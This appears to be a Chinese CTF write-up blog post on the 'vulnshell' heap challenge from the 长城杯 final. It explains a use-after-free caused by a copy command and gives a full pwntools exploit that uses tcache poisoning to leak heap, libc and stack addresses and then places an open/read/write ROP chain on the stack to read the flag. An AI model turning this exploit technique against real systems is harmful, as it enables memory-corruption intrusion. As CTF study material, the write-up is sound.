长城杯final
发表于:2021-10-14 |
字数统计: 832 | 阅读时长: 4分钟 | 阅读量:

长城杯final

vulnshell

一道正常的堆题,当时决赛没有做出来,赛后多亏darry👴的提醒,让我茅塞顿开。

其实对于有tcache存在的libc版本,将堆申请到栈上都是挺容易的,因为不需要对chunk的头做检查(libc-2.23只需要在栈上提前布置好chunk头就行)。因此,除了打free_hook和malloc_hook,我们也可以将堆申请到栈上来构造我们的rop然后执行。只不过我们需要先得到栈的地址,environ在其中起到很关键的作用。

这个题漏洞点就在于cp操作中,复制了原来的chunk造成了两个指针指向同一个chunk,造成uaf漏洞。

image-20211014170510192

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
io=process('./vuln')
elf=ELF('./vuln')
libc=elf.libc
context.log_level='debug'
context.arch='amd64'

def cmd(cmd):
io.sendlineafter('root@Vshell# ',cmd)

def exp():
cmd('touch 0')
cmd('touch a')
cmd('vi 0')
io.sendlineafter('Data: ','a'*0xf7)
cmd('vi a')
io.sendlineafter('Data: ','a'*0xf7)
cmd('cp a b')
cmd('rm 0')
cmd('rm a')
cmd('cat b')
heap_base=u64(io.recv(6).ljust(8,'\x00'))-0x310
print('heap_base',hex(heap_base))
#gdb.attach(io)
cmd('vi b')
io.sendlineafter('Data: ',p64(heap_base))
cmd('touch c')
cmd('vi c')
io.sendlineafter('Data: ','a'*0xf7)
cmd('touch d')
cmd('vi d')
payload='\x00'*2*9+'\x00\x00'
payload=payload.ljust(0xf0,'\x00')
io.sendafter('Data: ',payload)#tcache
cmd('touch e')
cmd('touch g')
cmd('vi e')
io.sendafter('Data: ','\x00'*0xa0)
cmd('vi g')
io.sendafter('Data: ','\x00'*0xa0)
cmd('cp e f')
cmd('vi d')
payload='\x00'*2*11+'\x07\x00'
#payload=payload.ljust(0xf0,'\x00')
io.sendafter('Data: ',payload)#tcache
cmd('rm f')
cmd('cat e')
malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-16
libc_base=malloc_hook-libc.symbols['__malloc_hook']
print('libc_base',hex(libc_base))
system=libc_base+libc.symbols['system']
free_hook=libc_base+libc.symbols['__free_hook']
environ=libc_base+libc.symbols['_environ']

cmd('vi d')
payload='\x00'*2*11+'\x00\x00'
#payload=payload.ljust(0xf0,'\x00')
io.sendafter('Data: ',payload)#tcache
cmd('cp g z')
cmd('rm g')
cmd('vi d')
payload='\x00'*2*11+'\x02\x00'
io.sendafter('Data: ',payload)#tcache
cmd('vi z')
io.sendafter('Data: ',p64(environ-0xa0)+'\x00'*0x98)
cmd('touch g')
cmd('vi g')
io.sendafter('Data: ','\x00'*0xa0)
cmd('rm b')
cmd('touch 1')
cmd('vi 1')
io.sendafter('Data: ','a'*0xa0)
cmd('cat 1')
stack=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
stack=stack-0x100
print('stack',hex(stack))
cmd('rm g')
cmd('vi d')
payload='\x00'*2*11+'\x02\x00'
#payload=payload.ljust(0xf0,'\x00')
io.sendafter('Data: ',payload)#tcache
cmd('vi z')
io.sendafter('Data: ',p64(stack)+'\x00'*0x98)
cmd('touch g')
cmd('vi g')
io.sendafter('Data: ','a'*0xa0)
cmd('rm d')
cmd('touch 2')
cmd('vi 2')
payload=[libc.search(asm('pop rdi\nret')).next()+libc_base,
stack+0x80,
libc.search(asm('pop rsi\nret')).next()+libc_base,
0,
libc.symbols['open']+libc_base,
libc.search(asm('pop rdi\nret')).next()+libc_base,
3,
libc.search(asm('pop rsi\nret')).next()+libc_base,
stack+0x80,
0x000000000011c371+libc_base,
0x30,
0,
libc.symbols['read']+libc_base,
libc.search(asm('pop rdi\nret')).next()+libc_base,
1,
libc.symbols['write']+libc_base,
'./flag\x00\x00',
0,
0,
0]

io.sendafter('Data: ',flat(payload))
cmd('exit')
io.interactive()
exp()
上一篇:
西邮第二届校赛
下一篇:
tcache_stashing_unlink_attack学习笔记